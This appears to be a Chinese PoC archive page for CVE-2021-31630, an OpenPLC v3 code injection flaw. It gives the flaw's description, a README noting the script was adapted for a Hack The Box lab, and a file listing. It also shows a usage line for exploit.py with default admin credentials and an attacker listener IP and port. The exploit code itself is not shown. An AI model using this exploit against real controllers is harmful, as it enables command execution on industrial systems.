目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

目标: 1000 元 · 已筹: 1000 元

100.0%
请我们喝杯咖啡

CVE-2021-31630 PoC — OpenPLC 代码注入漏洞

来源
https://github.com/junnythemarksman/CVE-2021-31630
关联漏洞
标题:OpenPLC 代码注入漏洞 (CVE-2021-31630)
Description:OpenPLC是一种开源的可编程逻辑控制器。可为自动化和研究提供低成本的工业解决方案。 OpenPLC v3 存在代码注入漏洞，该漏洞源于产品的web服务中 /hardware 页面的Hardware Layer Code Box组件未能过滤输入的特殊字符。攻击者可通过该漏洞执行系统命令。
Description
Modified the PoC CVE-2021-31630 script by Fellipe Oliveira for HTB
介绍
# CVE-2021-31630
Modified the PoC CVE-2021-31630 script by Fellipe Oliveira for HTB 

## Usage
'Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"'
文件快照

 [4.0K]  /data/pocs/8c075af74f99cb53c901519d959458d3aeb16714
├── [8.6K]  exploit.py
└── [ 206]  README.md

0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放；当原始来源失效或无法访问时，本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入，因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键，由衷感谢。 查看订阅方案 →